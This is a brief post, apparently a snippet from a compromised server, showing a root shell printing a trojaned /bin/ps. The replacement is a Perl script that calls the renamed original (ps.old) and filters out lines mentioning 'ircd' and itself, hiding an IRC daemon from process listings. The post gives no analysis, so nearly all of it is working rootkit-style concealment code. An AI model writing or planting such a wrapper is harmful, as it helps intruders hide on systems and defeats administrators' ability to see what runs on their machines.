Bastard code. (1)
srv:/bin# cat ps #!/usr/bin/perl use warnings; use strict; my $string = $ARGV[0]; if($string){ my @net = qx/ps.old $string/; my @hide = grep(!/(ircd)/, @net); my @dd = grep(!/ps.old/, @hide); print @dd; } else { my @nett = qx/ps.old/; my @hidee = grep(!/(ircd)/, @nett); my @d = grep(!/ps.old/, @hidee); print @d; }